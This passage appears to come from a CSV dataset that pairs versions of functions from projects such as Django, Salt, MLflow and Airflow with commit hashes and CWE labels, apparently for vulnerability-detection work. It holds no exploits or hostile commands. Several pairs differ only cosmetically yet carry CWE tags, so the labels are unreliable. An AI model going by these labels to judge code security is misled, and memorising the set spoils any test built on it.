                tmp_source = self._loader.get_real_file(source)
            except AnsibleFileNotFound as e:
                raise AnsibleActionFail(""could not find src=%s, %s"" % (source, to_text(e)))

            # template the source data locally & get ready to transfer
            try:
                with open(tmp_source, 'r') as f:
                    template_data = to_text(f.read())

                # set jinja2 internal search path for includes
                searchpath = task_vars.get('ansible_search_path', [])
                searchpath.extend([self._loader._basedir, os.path.dirname(source)])

                # We want to search into the 'templates' subdir of each search path in
                # addition to our original search paths.
                newsearchpath = []
                for p in searchpath:
                    newsearchpath.append(os.path.join(p, 'templates'))
                    newsearchpath.append(p)
                searchpath = newsearchpath

                self._templar.environment.loader.searchpath = searchpath
                self._templar.environment.newline_sequence = newline_sequence
                if block_start_string is not None:
                    self._templar.environment.block_start_string = block_start_string
                if block_end_string is not None:
                    self._templar.environment.block_end_string = block_end_string
                if variable_start_string is not None:
                    self._templar.environment.variable_start_string = variable_start_string
                if variable_end_string is not None:
                    self._templar.environment.variable_end_string = variable_end_string
                self._templar.environment.trim_blocks = trim_blocks
                self._templar.environment.lstrip_blocks = lstrip_blocks

                # add ansible 'template' vars
                temp_vars = task_vars.copy()
                temp_vars.update(generate_ansible_template_vars(source))

                old_vars = self._templar._available_variables
                self._templar.set_available_variables(temp_vars)
                resultant = self._templar.do_template(template_data, preserve_trailing_newlines=True, escape_backslashes=False)
                self._templar.set_available_variables(old_vars)
            except AnsibleAction:
                raise
            except Exception as e:
                raise AnsibleActionFail(""%s: %s"" % (type(e).__name__, to_text(e)))
            finally:
                self._loader.cleanup_tmp_file(tmp_source)

            new_task = self._task.copy()
            # mode is either the mode from task.args or the mode of the source file if the task.args
            # mode == 'preserve'
            new_task.args['mode'] = mode
            new_task.args.pop('newline_sequence', None)
            new_task.args.pop('block_start_string', None)
            new_task.args.pop('block_end_string', None)
            new_task.args.pop('variable_start_string', None)
            new_task.args.pop('variable_end_string', None)
            new_task.args.pop('trim_blocks', None)
            new_task.args.pop('lstrip_blocks', None)

            local_tempdir = tempfile.mkdtemp(dir=C.DEFAULT_LOCAL_TMP)

            try:
                result_file = os.path.join(local_tempdir, os.path.basename(source))
                with open(result_file, 'wb') as f:
                    f.write(to_bytes(resultant, errors='surrogate_or_strict'))

                new_task.args.update(
                    dict(
                        src=result_file,
                        dest=dest,
                        follow=follow,
                    ),
                )
                copy_action = self._shared_loader_obj.action_loader.get('copy',
                                                                        task=new_task,
                                                                        connection=self._connection,
                                                                        play_context=self._play_context,
                                                                        loader=self._loader,
                                                                        templar=self._templar,
                                                                        shared_loader_obj=self._shared_loader_obj)
                result.update(copy_action.run(task_vars=task_vars))
            finally:
                shutil.rmtree(local_tempdir)

        except AnsibleAction as e:
            result.update(e.result)
        finally:
            self._remove_tmp_path(self._connection._shell.tmpdir)

        return result"
,UNKNOWN,UNKNOWN,django/contrib/auth/views.py,1,"def password_reset_confirm(request, uidb64=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb64 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('password_reset_complete')
    else:
        post_reset_redirect = resolve_url(post_reset_redirect)
    try:
        uid = urlsafe_base64_decode(uidb64)
        user = UserModel._default_manager.get(pk=uid)
    except (TypeError, ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        title = _('Enter new password')
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(user)
    else:
        validlink = False
        form = None
        title = _('Password reset unsuccessful')
    context = {
        'form': form,
        'title': title,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)",CWE-703,django/django,1285ca67eba96045b4f6fe6f5c7fd6570571f1bd,"def password_reset_confirm(request, uidb64=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb64 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('password_reset_complete')
    else:
        post_reset_redirect = resolve_url(post_reset_redirect)
    try:
        uid = urlsafe_base64_decode(uidb64)
        user = UserModel._default_manager.get(pk=uid)
    except (TypeError, ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        title = _('Enter new password')
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
        title = _('Password reset unsuccessful')
    context = {
        'form': form,
        'title': title,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)"
,UNKNOWN,UNKNOWN,mlflow/models/model.py,1,"def get_model_info(model_uri: str) -> ModelInfo:
    """"""
    Get metadata for the specified model, such as its input/output signature.

    Args:
        model_uri: The location, in URI format, of the MLflow model. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

    Returns:
        A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
        metadata of the logged model.

    .. code-block:: python
        :caption: Example usage of get_model_info

        import mlflow.models
        import mlflow.sklearn
        from sklearn.ensemble import RandomForestRegressor

        with mlflow.start_run() as run:
            params = {""n_estimators"": 3, ""random_state"": 42}
            X = [[0, 1]]
            y = [1]
            signature = mlflow.models.infer_signature(X, y)
            rfr = RandomForestRegressor(**params).fit(X, y)
            mlflow.log_params(params)
            mlflow.sklearn.log_model(rfr, name=""sklearn-model"", signature=signature)

        model_uri = f""runs:/{run.info.run_id}/sklearn-model""
        # Get model info with model_uri
        model_info = mlflow.models.get_model_info(model_uri)
        # Get model signature directly
        model_signature = model_info.signature
        assert model_signature == signature
    """"""
    return Model.load(model_uri).get_model_info()",CWE-703,mlflow/mlflow,38e8672acbfc04d7a827511d17d8e79cecf4c5eb,"def get_model_info(model_uri: str) -> ModelInfo:
    """"""
    Get metadata for the specified model, such as its input/output signature.

    Args:
        model_uri: The location, in URI format, of the MLflow model. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

    Returns:
        A :py:class:`ModelInfo <mlflow.models.model.ModelInfo>` instance that contains the
        metadata of the logged model.

    .. code-block:: python
        :caption: Example usage of get_model_info

        import mlflow.models
        import mlflow.sklearn
        from sklearn.ensemble import RandomForestRegressor

        with mlflow.start_run() as run:
            params = {""n_estimators"": 3, ""random_state"": 42}
            X, y = [[0, 1]], [1]
            signature = mlflow.models.infer_signature(X, y)
            rfr = RandomForestRegressor(**params).fit(X, y)
            mlflow.log_params(params)
            mlflow.sklearn.log_model(rfr, name=""sklearn-model"", signature=signature)

        model_uri = f""runs:/{run.info.run_id}/sklearn-model""
        # Get model info with model_uri
        model_info = mlflow.models.get_model_info(model_uri)
        # Get model signature directly
        model_signature = model_info.signature
        assert model_signature == signature
    """"""
    return Model.load(model_uri).get_model_info()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/_unity_catalog_utils.py,0,"def get_artifact_repo_from_storage_info(
    storage_location: str,
    scoped_token: TemporaryCredentials,
    base_credential_refresh_def: Callable[[], TemporaryCredentials],
    is_oss: bool = False,
) -> ArtifactRepository:
    """"""
    Get an ArtifactRepository instance capable of reading/writing to a UC model version's
    file storage location

    Args:
        storage_location: Storage location of the model version
        scoped_token: Protobuf scoped token to use to authenticate to blob storage
        base_credential_refresh_def: Function that returns temporary credentials for accessing blob
            storage. It is first used to determine the type of blob storage and to access it. It is
            then passed to the relevant ArtifactRepository implementation to refresh credentials as
            needed.
        is_oss: Whether the user is using the OSS version of Unity Catalog
    """"""
    try:
        if is_oss:
            return _get_artifact_repo_from_storage_info_oss(
                storage_location=storage_location,
                scoped_token=scoped_token,
                base_credential_refresh_def=base_credential_refresh_def,
            )
        else:
            return _get_artifact_repo_from_storage_info(
                storage_location=storage_location,
                scoped_token=scoped_token,
                base_credential_refresh_def=base_credential_refresh_def,
            )
    except ImportError as e:
        raise MlflowException(
            ""Unable to import necessary dependencies to access model version files in ""
            ""Unity Catalog. Please ensure you have the necessary dependencies installed, ""
            ""e.g. by running 'pip install mlflow[databricks]' or ""
            ""'pip install mlflow-skinny[databricks]'""
        ) from e",,mlflow/mlflow,242a555f35aecc2e5f9a5ee9f929577da2820db0,"def get_artifact_repo_from_storage_info(
    storage_location: str,
    scoped_token: TemporaryCredentials,
    base_credential_refresh_def: Callable[[], TemporaryCredentials],
    is_oss: bool = False,
) -> ArtifactRepository:
    """"""
    Get an ArtifactRepository instance capable of reading/writing to a UC model version's
    file storage location

    Args:
        storage_location: Storage location of the model version
        scoped_token: Protobuf scoped token to use to authenticate to blob storage
        base_credential_refresh_def: Function that returns temporary credentials for accessing blob
        storage. It is first used to determine the type of blob storage and to access it. It is then
        passed to the relevant ArtifactRepository implementation to refresh credentials as needed.
        is_oss: Whether the user is using the OSS version of Unity Catalog
    """"""
    try:
        if is_oss:
            return _get_artifact_repo_from_storage_info_oss(
                storage_location=storage_location,
                scoped_token=scoped_token,
                base_credential_refresh_def=base_credential_refresh_def,
            )
        else:
            return _get_artifact_repo_from_storage_info(
                storage_location=storage_location,
                scoped_token=scoped_token,
                base_credential_refresh_def=base_credential_refresh_def,
            )
    except ImportError as e:
        raise MlflowException(
            ""Unable to import necessary dependencies to access model version files in ""
            ""Unity Catalog. Please ensure you have the necessary dependencies installed, ""
            ""e.g. by running 'pip install mlflow[databricks]' or ""
            ""'pip install mlflow-skinny[databricks]'""
        ) from e"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def _write_cookie_secret_file(self, secret):
        """"""write my secret to my secret_file""""""
        self.log.info(""Writing notebook server cookie secret to %s"", self.cookie_secret_file)
        with io.open(self.cookie_secret_file, 'wb') as f:
            f.write(secret)
        try:
            os.chmod(self.cookie_secret_file, 0o600)
        except OSError:
            self.log.warning(
                ""Could not set permissions on %s"",
                self.cookie_secret_file
            )",,jupyter/notebook,6ee01644c4754e4e5af522b25d2d9a9ed1a36d6c,"def _write_cookie_secret_file(self, secret):
        """"""write my secret to my secret_file""""""
        self.log.info(""Writing notebook server cookie secret to %s"", self.cookie_secret_file)
        with io.open(self.cookie_secret_file, 'wb') as f:
            f.write(secret)
        try:
            os.chmod(self.cookie_secret_file, 0o600)
        except OSError:
            self.log.warning(
                ""Could not set permissions on %s"",
                self.cookie_secret_file
            )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/daemons/flo/core.py,0,"def _process_udp_rxmsg(self, msg):
        '''
        Send to the right queue
        '''
        try:
            d_estate = msg['route']['dst'][0]
            d_yard = msg['route']['dst'][1]
            d_share = msg['route']['dst'][2]
        except (ValueError, IndexError):
            log.error('Received invalid message: {0}'.format(msg))
            return
        if d_estate is None:
            pass
        elif d_estate != self.udp_stack.value.local.name:
            log.error(
                    'Received message for wrong estate: {0}'.format(d_estate))
            return
        if d_yard is not None:
            # Meant for another yard, send it off!
            if d_yard in self.uxd_stack.value.uids:
                self.uxd_stack.value.transmit(msg, self.uxd_stack.value.uids[d_yard])
                return
            return
        if d_share is None:
            # No queue destination!
            log.error('Received message without share: {0}'.format(msg))
            return
        elif d_share == 'local_cmd':
            # Refuse local commands over the wire
            log.error('Received local command remotely! Ignoring: {0}'.format(msg))
            return
        elif d_share == 'remote_cmd':
            # Send it to a remote worker
            self.uxd_stack.value.transmit(msg,
                    self.uxd_stack.value.uids.get(next(self.workers.value)))
        elif d_share == 'fun':
            self.fun.value.append(msg)",,saltstack/salt,1c024ebc51af4c29628c7309cddc8a8b14f304e8,"def _process_udp_rxmsg(self, msg):
        '''
        Send to the right queue
        '''
        try:
            d_estate = msg['route']['dst'][0]
            d_yard = msg['route']['dst'][1]
            d_share = msg['route']['dst'][2]
        except (ValueError, IndexError):
            log.error('Received invalid message: {0}'.format(msg))
            return
        if d_estate is None:
            pass
        elif d_estate != self.udp_stack.value.local.name:
            log.error(
                    'Received message for wrong estate: {0}'.format(d_estate))
            return
        if d_yard is not None:
            # Meant for another yard, send it off!
            if d_yard in self.uxd_stack.value.remotes:
                self.uxd_stack.value.transmit(msg, d_yard.uid)
                return
            return
        if d_share is None:
            # No queue destination!
            log.error('Received message without share: {0}'.format(msg))
            return
        elif d_share == 'local_cmd':
            # Refuse local commands over the wire
            log.error('Received local command remotely! Ignoring: {0}'.format(msg))
            return
        elif d_share == 'remote_cmd':
            # Send it to a remote worker
            self.uxd_stack.value.transmit(msg,
                    self.stack.value.uids.get(next(self.workers.value)))
        elif d_share == 'fun':
            self.fun.value.append(msg)"
,UNKNOWN,UNKNOWN,salt/states/test.py,1,"def configurable_test_state(name, changes=True, result=True, comment=''):
    '''
    A configurable test state which determines its output based on the inputs.

    name:
        A unique string.
    changes:
        Do we return anything in the changes field?
        Accepts True, False, and 'Random'
        Default is True
    result:
        Do we return sucessfuly or not?
        Accepts True, False, and 'Random'
        Default is True
    comment:
        String to fill the comment field with.
        Default is ''
    '''
    ret = {
        'name': name,
        'changes': {},
        'result': False,
        'comment': comment
    }

    # E8712 is disabled because this code is a LOT cleaner if we allow it.
    if changes == ""Random"":
        if random.choice([True, False]):
            # Following the docs as written here
            # http://docs.saltstack.com/ref/states/writing.html#return-data
            ret['changes'] = {
            'testing': {
                'old': 'Nothing has changed yet',
                'new': 'Were pretending really hard that we changed something'
                }
            }
    elif changes == True:  # pylint: disable=E8712
        # If changes is True we place our dummy change dictionary into it.
        # Following the docs as written here
        # http://docs.saltstack.com/ref/states/writing.html#return-data
        ret['changes'] = {
        'testing': {
            'old': 'Nothing has changed yet',
            'new': 'Were pretending really hard that we changed something'
            }
        }
    elif changes == False:  # pylint: disable=E8712
        ret['changes'] = {}
    else:
        err = ('You have specified the state option \'Changes\' with'
            ' invalid arguments. It must be either '
            ' \'True\', \'False\', or \'Random\'')
        raise SaltInvocationError(err)

    if result == 'Random':
        # since result is a boolean, if its random we just set it here,
        ret['result'] = random.choice([True, False])
    elif result == True:  # pylint: disable=E8712
        ret['result'] = True
    elif result == False:  # pylint: disable=E8712
        ret['result'] = False
    else:
        err = ('You have specified the state option \'Result\' with'
            ' invalid arguments. It must be either '
            ' \'True\', \'False\', or \'Random\'')
        raise SaltInvocationError(err)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = (
            'Yo dawg I heard you like tests,'
            ' so I put tests in your tests,'
            ' so you can test while you test.'
        )

    return ret",CWE-330,saltstack/salt,024169128f0ed5f4fbf6ce55737e6eadc33e249c,"def configurable_test_state(name, changes=True, result=True, comment=''):
    '''
    A configurable test state which determines its output based on the inputs.

    name:
        A unique string.
    changes:
        Do we return anything in the changes field?
        Accepts True, False, and 'Random'
        Default is True
    result:
        Do we return sucessfuly or not?
        Accepts True, False, and 'Random'
        Default is True
    comment:
        String to fill the comment field with.
        Default is ''
    '''
    ret = {
        'name': name,
        'changes': {},
        'result': False,
        'comment': comment
    }

    # E8712 is disabled because this code is a LOT cleaner if we allow it.
    if changes == ""Random"":
        if random.choice([True, False]):
            # Following the docs as written here
            # http://docs.saltstack.com/ref/states/writing.html#return-data
            ret['changes'] = {
            'testing': {
                'old': 'Nothing has changed yet',
                'new': 'Were pretending really hard that we changed something'
                }
            }
    elif changes == True: # pylint: disable=E8712
        # If changes is True we place our dummy change dictionary into it.
        # Following the docs as written here
        # http://docs.saltstack.com/ref/states/writing.html#return-data
        ret['changes'] = {
        'testing': {
            'old': 'Nothing has changed yet',
            'new': 'Were pretending really hard that we changed something'
            }
        }
    elif changes == False: # pylint: disable=E8712
        ret['changes'] = {}
    else:
        err = ('You have specified the state option \'Changes\' with'
            ' invalid arguments. It must be either '
            ' \'True\', \'False\', or \'Random\'')
        raise SaltInvocationError(err)

    if result == 'Random':
        # since result is a boolean, if its random we just set it here,
        ret['result'] = random.choice([True, False])
    elif result == True: # pylint: disable=E8712
        ret['result'] = True
    elif result == False: # pylint: disable=E8712
        ret['result'] = False
    else:
        err = ('You have specified the state option \'Result\' with'
            ' invalid arguments. It must be either '
            ' \'True\', \'False\', or \'Random\'')
        raise SaltInvocationError(err)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = (
            'Yo dawg I heard you like tests,'
            ' so I put tests in your tests,'
            ' so you can test while you test.'
        )

    return ret"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_many_to_many(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, reverse('admin:admin_widgets_event_add')))
        main_window = self.selenium.current_window_handle

        # No value has been selected yet
        self.assertEqual(
            self.selenium.find_element_by_id('id_supporting_bands').get_attribute('value'),
            '')

        # Help text for the field is displayed
        self.assertEqual(
            self.selenium.find_element_by_css_selector('.field-supporting_bands p.help').text,
            'Supporting Bands.'
        )

        # Open the popup window and click on a band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Bogey Blues')
        self.assertIn('/band/42/', link.get_attribute('href'))
        link.click()

        # The field now contains the selected band's id
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42')

        # Reopen the popup window and click on another band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Green Potatoes')
        self.assertIn('/band/98/', link.get_attribute('href'))
        link.click()

        # The field now contains the two selected bands' ids
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42,98')",CWE-259,django/django,c79852acee9a2ca137ff0e19657342c7406bbbb9,"def test_many_to_many(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, reverse('admin:admin_widgets_event_add')))
        main_window = self.selenium.current_window_handle

        # No value has been selected yet
        self.assertEqual(
            self.selenium.find_element_by_id('id_supporting_bands').get_attribute('value'),
            '')

        # Open the popup window and click on a band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Bogey Blues')
        self.assertIn('/band/42/', link.get_attribute('href'))
        link.click()

        # The field now contains the selected band's id
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42')

        # Reopen the popup window and click on another band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Green Potatoes')
        self.assertIn('/band/98/', link.get_attribute('href'))
        link.click()

        # The field now contains the two selected bands' ids
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42,98')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/ci/pre_commit/update_airflow_pyproject_toml.py,0,"def find_min_provider_version(provider_id: str) -> Version | None:
    metadata = all_providers_metadata.get(provider_id)
    if not metadata:
        return None
    # We should periodically update the starting date to avoid pip install resolution issues
    cut_off_date = datetime.strptime(""2024-10-12T00:00:00Z"", ""%Y-%m-%dT%H:%M:%SZ"").replace(
        tzinfo=timezone.utc
    )
    last_version_newer_than_cutoff: Version | None = None
    date_released: datetime | None = None
    versions: list[Version] = sorted([parse_version(version) for version in metadata])
    for version in reversed(versions):
        provider_info = metadata[str(version)]
        date_released = datetime.strptime(provider_info[""date_released""], ""%Y-%m-%dT%H:%M:%SZ"").replace(
            tzinfo=timezone.utc
        )
        if date_released < cut_off_date:
            break
        last_version_newer_than_cutoff = version
    console.print(
        f""[bright_blue]Provider id {provider_id} min version found:[/] ""
        f""{last_version_newer_than_cutoff} (date {date_released}""
    )
    if last_version_newer_than_cutoff:
        min_version_override = MIN_VERSION_OVERRIDE.get(provider_id)
        if min_version_override and min_version_override > last_version_newer_than_cutoff:
            console.print(
                f""[yellow]Overriding provider id {provider_id} min version:[/] {min_version_override} ""
                f""overridden from hard-coded versions.""
            )
            last_version_newer_than_cutoff = min_version_override
    return last_version_newer_than_cutoff",CWE-Unknown,apache/airflow,8ebdd14de2f32f52556ddfa27a413d08ff4a3326,"def find_min_provider_version(provider_id: str) -> Version | None:
    metadata = all_providers_metadata.get(provider_id)
    if not metadata:
        return None
    # We should periodically update the starting date to avoid pip install resolution issues
    cut_off_date = datetime.fromisoformat(""2024-10-12T00:00:00Z"")
    last_version_newer_than_cutoff: Version | None = None
    date_released: datetime | None = None
    versions: list[Version] = sorted([parse_version(version) for version in metadata])
    for version in reversed(versions):
        provider_info = metadata[str(version)]
        date_released = datetime.strptime(provider_info[""date_released""], ""%Y-%m-%dT%H:%M:%SZ"").replace(
            tzinfo=timezone.utc
        )
        if date_released < cut_off_date:
            break
        last_version_newer_than_cutoff = version
    console.print(
        f""[bright_blue]Provider id {provider_id} min version found:[/] ""
        f""{last_version_newer_than_cutoff} (date {date_released}""
    )
    if last_version_newer_than_cutoff:
        min_version_override = MIN_VERSION_OVERRIDE.get(provider_id)
        if min_version_override and min_version_override > last_version_newer_than_cutoff:
            console.print(
                f""[yellow]Overriding provider id {provider_id} min version:[/] {min_version_override} ""
                f""overridden from hard-coded versions.""
            )
            last_version_newer_than_cutoff = min_version_override
    return last_version_newer_than_cutoff"
,UNKNOWN,UNKNOWN,tests/integration/states/test_pkg.py,1,"def test_pkg_014_installed_with_comparison_operator(self, grains=None):
        '''
        This is a destructive test as it installs and then removes a package
        '''
        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        os_family = grains.get('os_family', '')
        if os_family not in ('Debian', 'RedHat'):
            self.skipTest('Comparison operator not specially implemented')

        pkg_targets = _PKG_TARGETS.get(os_family, [])

        # Make sure that we have targets that match the os_family. If this
        # fails then the _PKG_TARGETS dict above needs to have an entry added,
        # with two packages that are not installed before these tests are run
        self.assertTrue(pkg_targets)

        target = pkg_targets[0]
        version = self.run_function('pkg.version', [target])

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to not be installed before we run the states below
        self.assertFalse(version)

        latest_version = self.run_function(
            'pkg.latest_version',
            [target],
            refresh=False)

        try:
            ret = self.run_state(
                'pkg.installed',
                name=target,
                version='<9999999',
                refresh=False,
            )
            self.assertSaltTrueReturn(ret)

            # The version that was installed should be the latest available
            version = self.run_function('pkg.version', [target])
            self.assertTrue(version, latest_version)
        finally:
            # Clean up
            ret = self.run_state('pkg.removed', name=target)
            self.assertSaltTrueReturn(ret)",CWE-703,saltstack/salt,5f905d72601cf6dcec54f74f035db779e799bdc2,"def test_pkg_014_installed_with_comparison_operator(self, grains=None):
        '''
        This is a destructive test as it installs and then removes a package
        '''
        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        os_family = grains.get('os_family', '')
        if os_family not in ('Debian', 'RedHat'):
            self.skipTest('Comparison operator not specially implemented')

        pkg_targets = _PKG_TARGETS.get(os_family, [])

        # Make sure that we have targets that match the os_family. If this
        # fails then the _PKG_TARGETS dict above needs to have an entry added,
        # with two packages that are not installed before these tests are run
        self.assertTrue(pkg_targets)

        target = pkg_targets[0]
        version = self.run_function('pkg.version', [target])

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to not be installed before we run the states below
        self.assertFalse(version)

        latest_version = self.run_function(
            'pkg.latest_version',
            [target],
            refresh=False)

        try:
            ret = self.run_state(
                'pkg.installed',
                name=target,
                version='<9999999',
                refresh=False,
            )
            self.assertSaltTrueReturn(ret)

            # The version that was installed should be the latest available
            version = self.run_function('pkg.version', [target])
            self.assertTrue(version, latest_version)
        finally:
            # Clean up
            ret = self.run_state('pkg.removed', name=target)
            self.assertSaltTrueReturn(ret)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,devel-common/src/sphinx_exts/airflow_intersphinx.py,0,"def _generate_provider_intersphinx_mapping() -> dict[str, tuple[str, tuple[str, ...]]]:
    airflow_mapping: dict[str, tuple[str, tuple[str, ...]]] = {}
    current_version = ""stable""

    for provider in load_package_data():
        package_name: str = provider[""package-name""]
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == package_name:
            continue

        provider_base_url = f""/docs/{package_name}/{current_version}/""
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / package_name / current_version / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / package_name / ""objects.inv""

        # Skip adding the mapping if the path does not exist
        if not os.path.exists(doc_inventory) and not os.path.exists(cache_inventory):
            continue

        airflow_mapping[package_name] = (
            # base URI
            provider_base_url,
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    for pkg_name in [""apache-airflow"", ""helm-chart"", ""task-sdk""]:
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == pkg_name:
            continue
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / pkg_name / current_version / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / pkg_name / ""objects.inv""

        airflow_mapping[pkg_name] = (
            # base URI
            f""/docs/{pkg_name}/stable/"",
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    for pkg_name in [""apache-airflow-providers"", ""docker-stack""]:
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == pkg_name:
            continue
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / pkg_name / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / pkg_name / ""objects.inv""

        airflow_mapping[pkg_name] = (
            # base URI
            f""/docs/{pkg_name}/"",
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    return airflow_mapping",CWE-Unknown,apache/airflow,c4fa6ba9b2fa96df877b0dc264e56a64f7f66c86,"def _generate_provider_intersphinx_mapping() -> dict[str, tuple[str, tuple[str, ...]]]:
    airflow_mapping: dict[str, tuple[str, tuple[str, ...]]] = {}
    current_version = ""stable""

    for provider in load_package_data():
        package_name: str = provider[""package-name""]
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == package_name:
            continue

        provider_base_url = f""/docs/{package_name}/{current_version}/""
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / package_name / current_version / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / package_name / ""objects.inv""

        # Skip adding the mapping if the path does not exist
        if not os.path.exists(doc_inventory) and not os.path.exists(cache_inventory):
            continue

        airflow_mapping[package_name] = (
            # base URI
            provider_base_url,
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    for pkg_name in [""apache-airflow"", ""helm-chart""]:
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == pkg_name:
            continue
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / pkg_name / current_version / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / pkg_name / ""objects.inv""

        airflow_mapping[pkg_name] = (
            # base URI
            f""/docs/{pkg_name}/stable/"",
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    for pkg_name in [""apache-airflow-providers"", ""docker-stack""]:
        if os.environ.get(""AIRFLOW_PACKAGE_NAME"") == pkg_name:
            continue
        doc_inventory = GENERATED_PATH / ""_build"" / ""docs"" / pkg_name / ""objects.inv""
        cache_inventory = GENERATED_PATH / ""_inventory_cache"" / pkg_name / ""objects.inv""

        airflow_mapping[pkg_name] = (
            # base URI
            f""/docs/{pkg_name}/"",
            (doc_inventory.as_posix() if doc_inventory.exists() else cache_inventory.as_posix(),),
        )
    return airflow_mapping"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_execute_task_instances_is_paused_wont_execute(self, session, dag_maker):
        dag_id = ""SchedulerJobTest.test_execute_task_instances_is_paused_wont_execute""
        task_id_1 = ""dummy_task""

        with dag_maker(dag_id=dag_id, session=session) as dag:
            EmptyOperator(task_id=task_id_1)
        assert isinstance(dag, SerializedDAG)

        scheduler_job = Job()
        self.job_runner = SchedulerJobRunner(job=scheduler_job, subdir=os.devnull)
        dr1 = dag_maker.create_dagrun(run_type=DagRunType.BACKFILL_JOB)
        (ti1,) = dr1.task_instances
        ti1.state = State.SCHEDULED

